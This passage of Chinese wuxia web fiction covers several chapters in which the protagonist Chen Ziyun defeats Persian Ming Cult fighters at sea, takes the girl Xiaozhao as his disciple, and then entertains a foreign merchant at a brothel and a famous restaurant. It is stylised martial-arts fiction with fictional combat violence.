每个月不得送一些人去医馆或者阎王殿,海沙派这日进斗金的海贸生意怎么可能维持的下去。 “你们先不用出手,只要防备着他们搞下三流的手段就好,其他的交给我。” 陈子云示意洪孟康跟赵钱不用过于紧张。 随着对方船只的缓缓靠近,众人也能清晰的看到对方的人物。三个身穿宽大白袍的身形在海风中形象飘然。 等船只靠的更近了一些,看到左首一位是个女子,一头黑发飘扬,眸子极淡,几乎无色,瓜子脸型,约莫三十岁上下,虽然瞧来诡异,相貌却是甚美。看来这应当是一位东西方混血的美人。 剩下的两个高个子男子,就是典型的波斯血统,一个虬髯碧眼,另一个黄须鹰鼻。 陈子云船上的船员正在呼喊着让对方配合搭起木板连接两艘大船,可说的却是东南沿海的俚语,也不管对方能不能听得懂。 “老师,这三个人不简单,小心为上。” 洪孟康这些年见的人多了,自然就能从对方的仪态神情上判断出对方的态度。 而那两男一女三人自从靠近之后,眼睛就不听的在陈子云跟赵钱身上来回打量。明显是看出他们两个是船上的主要人物,恐怕正在琢磨怎么能利用他们两个,或者说直接抓住他们。 “见过诸位,我们是回程中的波斯行商,见诸位仪态大方也不是海盗之流,不知诸位为何要拦下我们?” 那位好看的黑发女子一边微笑着说着,一边往陈子云这边靠过来。 陈子云自然知道对方在睁眼瞎话,不过也没有揭穿。 “哦,我怎么不知道,波斯明教的人什么时候也开始做生意了?” 赵钱明显是看出了他们的身份,对于一个常年往来东西的商人,怎么可能不知道波斯地面上数得上的明教势力。 而赵钱说话时的向前迈出了一步,刚好走出了自己保镖的包围圈。顿时让那两个早就盯着他的高大波斯男子捉住了机会,直接一个健步就冲了过去。 而那个黑发女子则是冲着陈子云扑来。 也难怪他们这样分工,有着十几个保镖,穿戴又奢华至极的赵钱看着更像是这里的主事人。 而显得年轻,看上去跟像个书生的陈子云自然是被当做是公子爷一般的人物,自然也不会放下眼里。 只是想如果能擒下陈子云便能让这船上的人投鼠忌器,好让他们跟有机会控制这个庞大的商队。 没错在这些波斯人的眼中,陈子云这群人就是一个普通的商队而已,最多也就是船多了些。 陈子云没理会扑过来的女子,而是对着正要越过他朝着赵钱去的那两个波斯男子弹出了四指。 分别攻向他们的头颅与胸腹,这要是命中就能直接让他们命丧。陈子云可没有对这些敢越界来中原武林耍威风的波斯人留手的意思。 那两人也是惊恐的意识到,陈子云这个看起来人畜无害的书生,竟然有这样匪夷所思的功夫,能将指力弹出如此的力道。 不过他们那些把圣火令武功跟乾坤大挪移集合起来的诡异功夫,确实有几分特色,在两人的配合之下以极其诡异的姿势避开了陈子云的四道指劲。 “不错,不错。” 陈子云一边笑着夸赞了一声,随手一指又点向了已经近在咫尺的那个黑发女人。 不过陈子云的这一指没能直接点中对方,那女子同样以诡异的姿态避开了去,随后满眼戒备的看着陈子云。 另外两个男子见事不可为也与那女子汇合在了一处。 第一百〇四章 波斯明教 “你们三个王八蛋,竟然敢打我赵钱的主意,下次去波斯我要让全波斯的商人断你们的粮。” 赵钱在保镖的维护下,恶狠狠的咒骂着三人。 “你们是谁?你们不是普通的商队。” 那个虬髯人道。 “那你们波斯明教来我中原又是何故,你们三人又是明教的什么人?又怎敢上船就动手?” 洪孟康上前一步喝问道。 要不是陈子云事先说不让他动手,就凭几人敢打自己老师的主意,他就想把这三个人丢进海里喂鱼虾。 那三人先是在那里自己叽里咕噜的讲了一会儿,随后像是达成了什么共同意见,那位虬髯人再次开口道:“我乃波斯明教总教流云使,另外两位是妙风使、辉月使。我们此次来中原只是来找回一件丢失的圣物,并不是想与中原武林为难。” “那你们找到了吗?” 陈子云突然开口了。 “这与阁下无关,阁下武功虽然不凡,但是真要动手,我们三人也并不怕你。只是大家既没有往日的仇怨,又没有什么瓜葛,何必这样拦着不让我们走。” 流云使道。 “既然如此,那就先试试。” 陈子云说完直接一指“惊蛰”朝着三人弹出。 流云、辉月、妙风三使也没有想到陈子云说动手就动手,仓促之间只能避让。可随之而来的就是陈子云连绵不断的指风,让想重新凑到一起的三人很是狼狈。 三人心里几乎同时想到,对面的人似乎知道他们之间配合起来的功夫远胜他们三人相加。 可此时他们已然被分割,想要再次合一,除非是能抗下陈子云的霸道指劲。 “波斯明教,风云月三使不过如此。” 陈子云突然朗声喊道。 船上的其他人不知为何他要如此,而那风云月三使却是感到心头一阵不安,难道对方知道他们船上还有十二位宝树王在,想把他们引出来一网打尽? 流云使率先想开口提醒船上的十二宝树王,却被陈子云抓着机会突然从一个诡异角度弹来的一指直接点中了膻中穴,直接僵立原地。 辉月使见流云使被陈子云制住,就想回去救护,陈子云直接栖身而上,一指点在了他的背心,让这位大汉直接两眼一黑,就此不醒。 妙风使见事不可为,拼着被陈子云重伤的威胁,在被点中之前喊出了两个字波斯字母。 陈子云虽然听不懂,但是也能猜到无非就是提醒还在船上的那十二宝树王小心危险之类的。 果然随着妙风使的提醒,出来的十二宝树王都是满身戒备的望着他们这边,而其中跟在他们后面的两个女子却引起了他们全船人的瞩目。 一个年龄稍大的妇人,肤如凝脂、杏眼桃腮,容光照人,端丽难言。而另一位少女则是肤色晶莹,柔美如玉,鼻子较常女为高,眼睛中却隐隐有海水之蓝意,好一个混血的妙龄。 “好美丽的女子,白啊,我这下是知道你看上的到底是什么了。不错不错,这风韵,这姿色当真是一绝啊。 白,你看她旁边的那位少女,等她再长上几年,怕也是不必这位差,当真是好运气啊。” 赵钱凑到了陈子云的身边,指着那位紫衫龙王跟小昭道。 “你也是好眼光啊,一眼就看上了这位曾经的武林第一美人。” 陈子云笑道。 “曾经?现在也不差啊。不过亲爱的白,你放心,我知道你们中原有一句话叫做朋友妻不可欺,既然是你先看上的,我赵钱自然不会再横着刀抢走你的爱。” 赵钱坦荡的保证让陈子云哈哈大笑。 “尔等快快放了我方教友,否则教尔等不得好死。” 那站在前面的十二宝树王之中的一位朝着陈子云这边喊道,可能是看到了他们手上的风云月三使,不敢贸然的上前。 “十二宝树王,嘿!” 陈子云双腿猛的在甲板上一蹬,众人感觉整艘大船都往下沉了几分,随即而来的反弹更是让众人站立不稳。 而陈子云其实却已经消失了众人面前,等他们再次看到他的身影,已经出现在了对面的船上。 只见他手掐指决,其中更有风雷之声相伴,明明是艳阳高照,那首当其冲的十二宝树王却感觉到一阵阵的森寒之意。 “叽哩咕!” 也不知道是哪位宝树王勇波斯语吼了一句。 可他的声音被陈子云的一声“破煞”给完全压了下去。 众人只见陈子云拇指一捺,尾指一跳,中指急弹,这便是二十四节气惊神指中的最后三指。 这三指已经是跳出了二十四节气的范畴,而是真正的惊天地泣鬼神的三指,“三指弹天”。 这三指绝招,有三个不同的名字: “破煞”。 “惊梦”。 “天敌”。 自从来到这世界,陈子云一直都没有用过这三种指法。一般人是用不上,唯一能够让他用出这三指的就是张三丰了。 可是这三指又太过霸道,面对张老道的时候,陈子云又没有用这三指的心境。看这三指的名字就知道,要是没有破煞的决绝,惊梦的诡异,天敌的生死一搏,哪里会使得出其中是神髓。 而如今,在面对这所谓的波斯明教十二宝树王,陈子云才有了这样的心境,对方也同时有让他使出了“三指弹天”中的“破煞”实力。 一道犹如实质的劲气,直接滑过。就算是这十二宝树王竭力的躲闪,可这道指力实在太过霸道,速度也非人力所能企及。 “啊!” 也不知道是多少个惨叫合在了一起,发出了一声让众人都感觉背冷的呼喊。 当陈子云稳稳落在对方的船上时,那十二宝树王中能站着的只剩下两个。 可这站着的两个人也是满脸的恐惧,这是一种人类面对无法理解事物的瞬间反应,无法掩饰也无法忘记,这种恐怖将跟随他们的一生。 “今天我要带走他们两个,你们谁有意见?” 陈子云指着同样一脸惊恐的黛绮丝跟有些迷离的小昭说道。 那站着的两人其中一个哆嗦着嘴,似乎想说什么,可最终还是低下了头。另一个则是两眼瞪着,一眨不眨的盯着陈子云,好似还没从刚才的情形中反应过来。 陈子云不在理会这两个人,缓缓的走向小昭母女。 “跟我走。” “小心。” 小昭突然张大了眼,惊诧的喊了一句。 第一百〇五章 小昭 可还没等她喊声停下,陈子云的手指已经穿过了向他袭来的两把长剑,一指点在了对方的两眼之间。 没有人看得清,陈子云那两根修长如玉的手指是什么时候出现的。也不知道他又是如何后发先至,如何穿过那两把看着就不是凡品的宝剑的。 可不管别人知不知道,被点中的那个人却知道,自己要死了,随即双剑落地,人身后仰,扑通一声,倒在地上再也不动弹。 “你要不也试试?” 陈子云斜斜的看着那个看起来应该是十二宝树王中间排在首位的那位。 那站着的波斯壮汉把头低的更低了,嘴里好像在还在呢喃着什么。 陈子云失望的一叹,不过当他向小昭伸出手的时候已经是满脸的笑意了。 小昭怯怯的看了陈子云一眼,又看了一眼旁边的黛绮丝。 黛绮丝捏着拳头,眼神倔强的看着陈子云。 不过陈子云并没有理会这个自私自利,为达目的不择手段的紫衫龙王。 朝着畏畏缩缩的小昭直接伸出了手,一把抓住了那双晶莹玉润小手,拉着他就往自己船上走。 小昭惊慌的睁着自己的大眼睛,但是并没有过多的反抗。似乎心里有一个声音字在告诉她,如果能逃离这个所谓的波斯明教,逃离自己的命运,甚至逃离自己的母亲,跟这人走也许并不是一件坏事。 她的命运从来都是被自己的母亲安排的,小时候被送到别人家养着,长大又被安排到昆仑明教偷乾坤大挪移,现在又为了救张无忌不得已被这些波斯明教的人挟持。 她不想伤害任何人,可这世界上的所有人都似乎想伤害她。 小昭从来没想过要当什么波斯明教的教主,甚至对于张无忌她都没有想过要成为她的妻子,她只是不想离开而已。 小昭愣愣的看着这个牵着自己手的男人,从她有记忆以来除了那个已经模糊的父亲,再也没有人这般的对待过他。 与张无忌给她的看似强大实则优柔的映像不同,眼前的这个男人的似乎可以扛起一切,小昭甚至有一瞬间希望,他们两人能就这样一直走着。 自己的手被握住并非自愿,可是真的好温柔,好温暖。 “怎么是这小丫头,那个中年美妇你不要啊?” 赵钱粗鲁的声音打破了小昭的妄想。 陈子云没好气的假意咳嗽了一声。 可看着小昭那双已经快润出水来的眼睛,不由得怜惜的道:“以后你就是我第二个入室弟子了,这世界上再没有任何人能强迫你做不想做的事。” “呜呜呜......” 小昭终于再也留不住眼里的泪了。 这眼泪与张无忌分别的时候不同,这是对一种她儿时最向往的父爱的怀念,绝不带有半点的情欲。 唯有光明与圣洁。 “小师妹好,我是洪孟康,是老师的学生。周师妹,也就是老师的另一位入室弟子喜欢叫我洪二哥,你也可以这般叫我。” 洪孟康一看到小昭就喜欢的不得了,却与对周芷若的喜欢是两个样的。周芷若那种魅力是天然的对于异性的吸引。而小昭却是有一种让你想呵护的,对待小妹妹般的情意。 “二......” 小昭刚说出一个字自己就先脸红了,她也不明白怎么对方只是随意的说了一句话,她就真的认下了这个师傅,她连对方叫什么就不知道。 “我在此世姓白,名愁飞。在你之前我还收了一个弟子,叫做周芷若,应该比你大上几岁。” 陈子云说道。 “啊,周姑娘?你是周姑娘的师父?” 小昭惊讶不已。 “哦,你们见过了?” 陈子云思索了一番,想来是在大都,周芷若与张无忌联手的时候吧。 “嗯,周姑娘很厉害,连公子.......” 小昭说到这里突然的停顿了,脸上也泛起了红晕,想到了自己跟张无忌告别时的亲昵。那本来是以为要跟他东西两隔,再也不能见面了,才没有顾及的。 可现在想来却让她这个情窦初开的少女羞涩不已。 “是在想张无忌那小子吧。” 陈子云笑着说道。 “啊,您是当初在光明顶上的那位?” 小昭似乎终于认出了陈子云,当时她因为忙着照顾受伤的张无忌,对陈子云只是匆匆一瞥,现在才想起来。 陈子云笑着点点头。 “诶,那位中年美妇自己过来了。” 赵钱一双眼睛毫不掩饰的盯着款款走来的黛绮丝道。 小昭急忙回身叫了一声“妈妈。” 刚才她被陈子云的威势震慑,一下子又沉迷于对于陈子云那展现出来的如父亲般的关爱之中。此时才想起自己的母亲来,不由得心里愧疚不已。 “阁下武动卓绝,为何要来欺负我们这孤儿寡母,也不怕天下英豪耻笑吗?” 黛绮丝神色冷冽,却让她本来的艳丽容貌多了三分英武,更是迷得赵钱眼里打转。 “欺负?我可是救了你们母女,怎么说得上欺负,我欺负的人现在不是还都躺着吗?” 陈子云用眼神示意了那边船上的那几个明教宝树王。 “哼,我孩儿都流泪了,还不是欺负?” 黛绮丝表情心疼的揩拭着小昭脸上残留的泪痕。 “妈妈,不是.....” 小昭正想解释,就已经被黛绮丝严厉的眼神制止了。 “你这人啊,做圣女的时候,为了男女之情破身;做紫衫龙王的时候,因为骄傲得罪教众;做妻子的时候,治不好丈夫的病;做母亲又让自己的孩子无依无靠;最后竟然还要通过把女儿卖给波斯明教而得以偷生。 黛绮丝,你这样的一个彻头彻尾的失败者,竟然还有脸说我欺负人,难道辜负这孩子最多的不正是你自己吗?” 陈子云也懒得听对方辩驳,直接一指点在了黛绮丝的身上。 “师父,请不要伤害我妈妈。” 小昭的大眼睛里即有凄婉又是悲伤的请求。 “小昭,不碍的,我只是点了她的穴道,并没有用力。而且我刚才说过,从今以后,再也不会让任何人勉强你做任何不想做的事情。 这个人也包括你妈妈。乾坤大挪移那你可以给她,这是她最想要的,也算是报答她这些年零零碎碎的给你的关爱了。 至于这个波斯明教的教主,想做就让她自己去做。反正如今他们所谓的十二宝树王也只剩下几个了,想来对于教主是不是处子这种事情也不会太在意了。 能不能把传承传下去,才是他们应该考虑的。 你妈妈的武功不弱,再加上拿回乾坤大挪移的功劳,足够她回去波斯当教主了。” 陈子云说完就用眼神示意了一下赵钱。 第一百〇六章 回程 对方虽然十分的不舍,但是只能咬着牙,让自己的两位女保镖将黛绮丝重新送回了波斯船上。 “可是,师父,我妈妈她.....” 小昭见人真的将黛绮丝送走了,不由得有些着急。 “放心,不碍事的。以后你二师兄,还有这位赵钱叔叔经常会往来于东西方做商贸。你要是想她了,就跟着他们一起去波斯看看她就是了。 不过你现在的年纪正是用功的时候,所以这两年你要先把心静下来,把功夫练好了,这天下哪里自然都由你闯荡。” 陈子云道。 小昭听着,可眼睛还是不由自主的盯着自己妈妈的方向看。 “别担心,那些明教的人不敢对他如何的。赵钱会警告他,如果他们不想波斯明教彻底覆灭的话。 你现在还是早些去把乾坤大挪移默写出来交给你妈妈吧。” 陈子云怜爱的摸了摸小昭的头发。 小昭再次品尝到了从来不曾有过的,却是自己无数次向往过的父爱,嘴里轻轻的呢喃着妈妈,可终于是闭上了她的大眼睛。 当陈子云拿着小昭默写好的乾坤大挪移来找黛绮丝的时候,她用那双已经通红的眼睛死死地盯着他。 陈子云解开了她身上的穴道,将手里的乾坤大挪移扔给了她。 “拿着乾坤大挪移回你的波斯去吧,你要是想当这个波斯明教的教主,我会派人去波斯帮你。 但是不要企图再回中原来,这是我对你唯一的要求。如果小昭以后想去找你,我不会拦着,虽然你是我见过的最不负责任的母亲。” 陈子云说完转身便想走,可看到已经被收敛起来的放在甲板上的裹着白布的尸体。对着活下来的四位十二宝树王道:“刚才的话你们也听着,不管你们懂不懂,反正我已经履行了告知的义务。要是你们还敢来中原,那我到时候灭了你们,也不能算是不教而诛了。” 那四个宝树王明显是没有听懂,但是都同时谦卑的低着头。 看来那位精通汉语的智慧宝树王是在那堆尸体里了。 陈子云眼里没有半分的怜悯,敢越界就要做好赴死的觉悟。 而本来还想挣扎一番的黛绮丝,在看到陈子云那眼中丝毫不容情的冷漠目光时,就知道如果自己再冒犯这个男人。 对方一定会杀十二宝树王一样,将她也杀了。 至于陈子云会不会看在小昭的份上放过她,这让黛绮丝这个早就看透了人世悲凉的中年妇人丝毫不敢妄想。 在黛绮丝的眼里,陈子云不过是见色起意,看上了自己的女儿。可恨自己却绝不是这个恶人的对手,而且对方似乎也丝毫不在乎那些普通江湖中人视若珍宝的正道名声。 自己刚才那般用江湖道义威胁他,也丝毫不妥协。 如今也只能先留下青山,带来时再来砍柴了。不过还好,自己的宝贝女儿将这明教的至高宝典乾坤大挪移抄写了给她。 只要自己将来练好了神功,要报仇还不是手到擒来,到时候定要让这人见识一番金花之毒的厉害。 陈子云没有理会黛绮丝那隐晦的怨毒目光,在回到了自己的船上之后直接让洪孟康重新启航。 “白啊,要不要直接将这些人......” 赵钱说着眼睛里寒光一闪,这位畅游东西的大商人可不是什么心慈手软之辈。 “你不是很喜欢那个美妇人吗?舍得?” 陈子云打趣的问道。 赵钱摇摇头道。 “只要有钱,女人哪里会没有?她不过是我遇见过的众多美女中的一个,而且还是个睚眦必报的蛇蝎美女。” “哦,你也看出来了?” “当然,白,千万别小看一个真正商人看人的眼力,这可是他从横四海才练出来的。那个女人在被你定住之后,那深藏在眼底的恶毒就已经在告诉我。 一旦有机会,她就会用她那根最毒的黄蜂针,一针刺死你。所以啊白,这个时候你应该把草和根都斩了,最好再放一把火。” 赵钱连着用了几个拆解过的混装成语,来显示自己对于汉语的精通。 “哈哈,谢谢你赵钱。不过我从来不怕什么黄蜂,更不会畏惧杂草。要是她敢回来找我,我倒是求之不得,说不定还能给你绑个压寨夫人。哈哈哈。” 陈子云哈哈大笑,丝毫不在意赵钱担心的事情。 “好吧,白,那就听你的。为了祝贺你收了个美丽的女徒弟,我们去喝酒庆祝吧。要是那黄蜂女回来了,到时候我就收她做侍女,哈哈哈。” 赵钱也跟着笑着。 在波斯船队离开的同时,洪孟康也指挥者大船重新扬起主帆,朝着中原大地前进。 得到了红薯土豆的种子,高兴的不仅仅是陈子云一个人,洪孟康可是知道这些东西的意义的。 作为一个被陈子云捡回来的,差点饿死在乞讨路上的孩子,洪孟康对于粮食的钟爱超过了绝大多数人。 而对于只在自己老师的图册中中见过的粮食种子,他却是记得比谁都深刻。他之所以甘愿来统领这些南洋的商船,也是因为陈子云曾经告诉他,要想办法找遍整个南阳,因为这里可能有让整个中原大地都不将饥饿的种子。 而当时陈子云出示给他看的就是这些,如今出现在了自己眼前的这些。 出于对陈子云盲目的信任,洪孟康从来都没有怀疑过,这些种子是自己的老师随手杜撰的。 因为在那些在中原长大的孩子看来,自以为地大物博,既然是中原没有的,那么别的地方也不会有。 好多同年纪的伙伴也曾私下里揣度过,这不过是为了让洪孟康接手这个没有人愿意来的地方,陈子云才搬出的借口。 因为南洋的贸易,大部分时间都要在海上和落后荒凉的南阳,远离了富饶的中原,也远离他们已经建设的很美好的村庄。 人一旦习惯了享受安逸与富足,要重新让他去吃苦,还是吃一些完全可以避免的哭,这是相当难的。 可洪孟康还是接受了,不仅仅是因为相信自己的老师,更是期望这些种子是真实存在的。他不想再挨饿了,也希望如果有机会,让全天下的百姓也能不挨饿。 可惜他这几年往返于中原和南洋,他几乎已经把南洋的每一寸土地都找遍了,依旧没有找到老师画册上的那几样东西。 他知道有不少知情的师兄弟在暗地里嘲笑他,但是洪孟康一直坚持着自己的信念。 他相信自己的老师不会欺骗他,他也相信这些同他小时候一样困苦的百姓终究有一天能吃得饱饭。 而现在,一切的辛苦,一切的诋毁都在此刻变得辉煌,从此以后,他,洪孟康将没有任何奢望。 赞美老师,赞美那个看起来让人讨厌的商人,他们的地位将排在所有已知的神灵前面,哪怕是洪孟康曾经在遇到海难时祈求过的那些。 第一百〇七章 陪玩 等船队回到了海沙派的码头,陈子云就连忙吩咐洪孟康放下手头的所有事情,现将赵钱送来的种子送往借刀盟下面的各个村庄。 当然武当山的那一份也决计不能少,现在虽然已经不用像当年一般要靠武当派的影响力去推广这些陌生的种子。(千万别以为,你随便拿着红薯的种子,跟农民说几句,他们就会放弃本来的粮食作物改种这些。要知道那可是他们一年的口粮,要是被骗了,那就是家毁人亡的下场,没有亲眼所见,他们是万万不能相信的。) 但是出于对那位老人家,那位大宗师同样迫切的对于天下黎明百姓的关注,当然要第一时间告知对方,百姓又有了新的希望。 “孟康,帮我跟张老道带声问候,就说我希望他能再活个十几二十年,那他就能真正的看到黎明照耀大地的一天。” “是,老师。” 洪孟康走了,带着陈子云从未见过的笑容,消失在阳光里。 小昭则是被陈子云安排人送回了第一示范村,她现在需要的是系统的教育。 陈子云则是开始陪着赵钱,这位给中原大地带来希望的伟大商人玩耍。 不错就是玩耍,只要是赵钱想去的,想玩的,陈子云几乎都是毫不犹豫的答应。 哪怕赵钱第一个提出要去的地方就是东南沿海最出名的红袖院,陈子云也竭力的扯着自己的嘴角,陪着他一起去了。 看着赵钱直接包下整个后袖院,在人家姑娘还在午睡未醒的时候,就用金子的力量将她们生生从被窝里拉了出来。 让所有的人都带着最热情的的微笑围着他打转,就连跑堂跟老鸨都跟赵钱抛起了眉眼。 他们做了一辈子的风月场所,花银子的人见多了,可花金子的,还把金子当石头砸人的老爷他们真的是听都没听过。 在他们这些人的眼里,什么情啊爱啊风流啊,那不过是用来吸引顾客花银子的手段。 只要谁有钱,谁就是他们的衣食父母。 而赵钱这样的就是亲爹了,就算此刻要他们跪着叫一声爹,估计也没有人会不同意。 “赵钱,你这样花,你这箱子黄金可撑不了多久?” 陈子云掂了掂手里本来一小箱子满满的现在却只剩下一层的黄金。 “哈哈哈,怕什么,我赵钱现在最不缺的就是黄金。” 赵钱从陈子云拿着的箱子里有掏出了好几块金子,笑嘻嘻的塞进了一位最风骚最热情的姑娘的肚兜里。 逗得那个姿色不差的姑娘又是惊又是喜,整个人都想挤进赵钱的身体里跟他融为一体似的。 陈子云摇摇头,索性把剩下的金子连带着整个箱子都扔给了老鸨。 “伺候好这位赵大爷,我让海沙派免你一年的供奉。” 陈子云说着把手里最后一块已经被他捏的变形的金子也扔了过去。 那老鸨的表情惊喜中透露着惊骇,连连点头称是。 以如今的海沙派的势力,加上借刀盟的暗中相助,这东南沿海基本没有什么江湖势力能比得上了。 想红袖院这种娱乐高消费产业,要是没有江湖势力罩着怎么可能办的这么红火。真以为他们这里的姑娘都是自己卖身进来的。 这种事情不是借刀盟不管,而是没有养活全天下人口的农业基础,这种卖儿卖女的事情就不可能真正的禁止。 被父母卖到这里,虽然能困苦,但起码有口饱饭吃。要是真的全家都挤在家徒四壁的家里挨饿,死的就可能是一家老小了。 这也是陈子云这么不遗余力的督促海沙派坚持每年下南洋的原因,不就是为了早日找到这些能从根本上解决肚子问题的宝贝吗。 跟红袖院的姑娘玩闹的够了,赵钱就问陈子云这里最好吃的酒楼在何处。陈子云便带着他来到了,食仙楼。 不过到了这里,就不需要赵钱撒钱了,陈子云直接出示了借刀令,让掌柜的在门口立了一块歇业一天的牌子。 这偌大的东南第一美食楼,就准备全部为赵大爷服务了。 “山珍海味什么的就别了,这些东西,我早就吃腻歪了,要有特色的才行。” 赵钱这算是故意给陈子云出难题。 不过陈子云怎么会被这些难到,食仙楼之所以能名冠东南,不就是因为陈子云给当时打算开连锁酒店的弟子几道特殊的调味料,然后就是改进了一下烹饪用的厨具吗。 “你放心。” 陈子云唤来店小二,吩咐了几句。 没过多久,第一盘菜就上来了。 “油淋青菜,趁热。” 陈子云示意赵钱动筷子。 “我说白,虽然我离开东方不少时候了,可这简单的青菜,哪个厨师不会做,你这所谓的食仙楼,怕是要砸招牌喽。” 赵钱说着用筷子在桌上剁了两下,他依旧许久没用这种工具了,需要重新适应。 陈子云没说话,就这么静静的看着。 赵钱满脸狐疑的将有些夹着不太稳的一根青菜放进了自己嘴里,随意的咀嚼了两下,刚想开口出言为难一番陈子云,自己脸上的表情却是突然的大变。 “嗯,这......怎么......可能会有这么爽口的青菜。” 赵钱囫囵的吞了下去,又忙不迭的去夹第二块。 又神色享受的一阵咀嚼,随即第三筷子,第四..... 直到一盘青菜都进了赵钱的肚子,他菜满脸不可思议的问陈子云。 “亲爱的白,这到底是什么东西?” 陈子云微笑这道:“别急,又有新的菜来了,你再试试。” 陈子云刚说完小二就端着盘子从楼梯口上来了,上面放着的正式一盘晶莹剔透的炒豆芽。 赵钱没有着急吃,而是用筷子不断的拨动着豆芽,左看看右瞧瞧,好像是要找出什么秘密似的。 “先别翻了,等凉了口感可就差了。” 陈子云笑着说道。 赵钱皱着眉头,像是吃毒药一般夹了一筷子豆芽进嘴里,随即那皱着的眉毛就像是要跳出他的额头一样上扬。 “我的天,这怎么可能?” 赵钱直接端起盘子接连不断的往自己口里划拨着豆芽,满满一盘子就几下子吃完了。 “怎么样,没有让你失望吧。” 陈子云道。 “白,这到底是如何做到的?” 赵钱急切的问道。 “哈哈哈,这可是商业机密。” “哦,天啊,白你竟然跟我计较这些,我实在是太伤心了。” 赵钱一脸痛心的摸样。 第一百〇八章 食仙楼 “好了,别皱起你的黑脸恶心我了。其实我是真不知道,最开始我是出了些主意,不过也不可能把这简单的小菜做到这种程度。 你要是想知道,就问问这位大厨吧。” 陈子云道。 “请大厨,赵钱大爷重重有赏。” 赵钱豪气非凡的吼了一声。 不多久一个浑身穿着干净白布衫的精瘦汉子在掌柜的陪同下上来了。 先是给两人见了礼,然后便恭敬的站着。 “嘿,你这么瘦的厨子倒是少见。” 赵钱笑着说了一句。 “这位师傅,你就跟他说说,这两道菜是如何做的。省得他食不知味,睡不安寝。“ 陈子云道。 那位瘦高个的大厨有些为难,看了一眼旁边的掌柜,见对方点头才开口。 “禀告两位大人,这做菜无非就是两样东西,一个就是厨子对于火候的掌握,还有就是食材本身的好坏。 再好的厨子也不可能用烂白菜做出卤牛肉来,而考究一个厨子的好坏就是在于火候。” 瘦厨子语调有些凌乱,微微低着头,看来面对陈子云跟赵钱不自觉间露出的不俗气质,让他也知道这两人的不同寻常。 “师傅,不要急,慢慢说,我们不赶时间。” 赵钱显然看出了厨子的紧张,故意放松了自己的坐姿,让自己看起来跟随意一些。 “是。先说这道油淋青菜,其实小人的做法与旁的师傅也没有什么不同。但是选的材料却是高山上的专人护养的,头一茬的菜心,这种菜心最是爽口,这是第一。 二么就是,要靠这食仙楼里的厨房火器厉害。在别的酒楼里,要把放在油锅里的三个铜板都浮起来,最少要一盏茶的时间,而在这里,半盏茶都不要。 用这样的热油一淋,嘿,那真是......” 厨子似乎说道了技艺的得意之处,不由得有些抬头。 “诶,等等,什么火器?” 赵钱捉住了厨子故意漏过去的地方。 “这.....” 厨子又为难的看向掌柜。 掌柜则是看向陈子云。 “这火器就是我说的,我前面帮着改良的厨具,要说一下子也说不清楚,你要是有兴趣,过会儿就去厨房看看。 至于那东西作用,就是提高火焰的温度。” 陈子云解释了一句。 “好吧,你继续。” 赵钱耸耸肩道。 “咳咳。” 厨子清了清有些痒的喉咙继续道。 “至于那道豆芽菜,这里面确实有些门道,那豆芽其实也不是豆芽。” “不是豆芽?” 赵钱很惊异,他刚才还故意翻看了一遍,确认这东西就是豆芽菜啊。 “这位大人别急,其实他也是豆芽。” 厨子的话直接让陈子云笑出了声。 “哈哈哈,师傅,你别急,慢慢说。” “是是是,两位大人,是这样的,这道菜是在下祖传的秘方,这......” 这厨子明显是在告诉他们,祖传的手艺不能外泄啊。 “接着。” 赵钱直接丢了一块金子过去。 “哎呦。” 那厨子本能的伸手去接,可终究是没接着,那黄闪闪的金子在阳光底下跳动了几下慌得那厨子直接眯了眼。 “你这个杀才,要是没有两位的大人,你们全家早都饿死了,还哪里有什么祖传的菜谱。” 掌柜的在一旁见这个厨子不上道,连连指责道,可那眼角的余光总是被那闪着光的东西吸引着。 “好了,这位师傅你放心,你看我们两个也不是会厨艺的人,而且你只要说个大概,不用把你们家祖传的秘技都说出来。” 陈子云自然也理解,这个时代一户人家对手艺传承是多么看重的事。 “是是是,是小人,小人糊涂。” 厨子在掌柜的威压跟陈子云的解释后,连忙点头应道。 “其实这豆芽之所以是豆芽,因为它外面那层确实是豆芽。可是里面的却不是了,而是用上好的火腿熬煮过的鲍鱼丝替换的。” “鲍鱼,火腿,嘿我就说怎么会有这么鲜香的豆芽菜呢。可你这么细小的豆芽是如何做到替换的?” 赵钱问道。 “是小人用极细的绣花针,将豆芽里面的肉一点点的掏空,再用鲍鱼丝填进去。不是小人自吹,就这么手艺不练个三五年是不能出师的。” 厨子又把头抬高了一些。 “嘿,我说白啊,你们东方对这吃的可真是这个。” 赵钱握着他那同样被晒黑了的手挑出了一个大拇指道。 “好了,你们下去吧,剩下的菜也该上了。” 陈子云打发了一句。 厨子本来就想走,连脚都已经往后迈了出去,可脑袋似乎还对这里有什么留恋的不肯转头。 “两......位大人,小人,这,金子,小人?” 厨子哆哆嗦嗦的用祈求的目光在赵钱的身上游移。 “拿去,拿去,这金子就是赏你的,后面的菜要是好吃,大爷还赏。” 赵钱豪气的挥手。 “谢谢大人,谢谢大人。” 那厨子一把就跪在了金子掉落的地方,嘴里谢着,却是在对着金子磕头。 陈子云与赵钱对视一眼,都只是微微一笑。 后面还上了一只白切鸡,一条蒸鱼,同样看着普通至极,但是吃起来却是别有一番滋味,绝对不是普通的酒楼能做出来的味道。 “食仙楼,这名字倒是真的合适的很呢。” 赵钱吃的酒足饭饱之后,满身舒爽的评了一句。 “呵呵,有你这位世界第一大商人的这番评价,这食仙楼可算是蓬荜生辉了。” 陈子云说道。 “哎,白啊,这样一来我都不想离开这里了,想想以后要是再也吃不到这样的美味,我该怎么办呢。” 赵钱叹气道。 陈子云自然没有当真,以他对于赵钱的了解,也知道对方只是一时的感慨,他心中最重要的事情永远是他的生意。 对于赵钱这个人来说,可以没有美食,可以没有美女,但绝对改不了他往来东西做商人的习性。 “那就多留一段时间,或者你找个下属,跟着食仙楼的师父好好学学。就算那些祖传的秘技学不来,也总比你天天吃的要强一些。” “诶,再说,再说,接下来我们去哪里?” 赵钱挥挥手,斜躺在椅子上问道。 “自然是最好玩的地方的。” 陈子云笑着道。 ...... 第一百〇九章 游荡 在接下来的几个月里,陈子云带着赵钱从南到北,但凡是有好吃的好玩的都玩了个遍。 到最饶人的秦淮河畔找花魁,到最负盛名的西湖岸边吃醋鱼,到华山上赏山之俊,到鄱阳湖见水之美。 直到赵钱再也提不起任何的兴趣继续留在中原大地,反而对他的西域胡姬念念不忘的时候,陈子云才与他分别。 男人啊,在取得成就的时候当然会留恋温柔乡,可一旦腻了,乏味了,他就会发现,原来事业才是自己最后的依托。 陈子云站在天津的港口与赵钱惜别,这一趟他将跟洪孟康一起贯通南洋与南美,打造一条史无前例远洋商道。 只要这个商道能彻底贯通,那么无尽想财富就会向流水一般涌入。 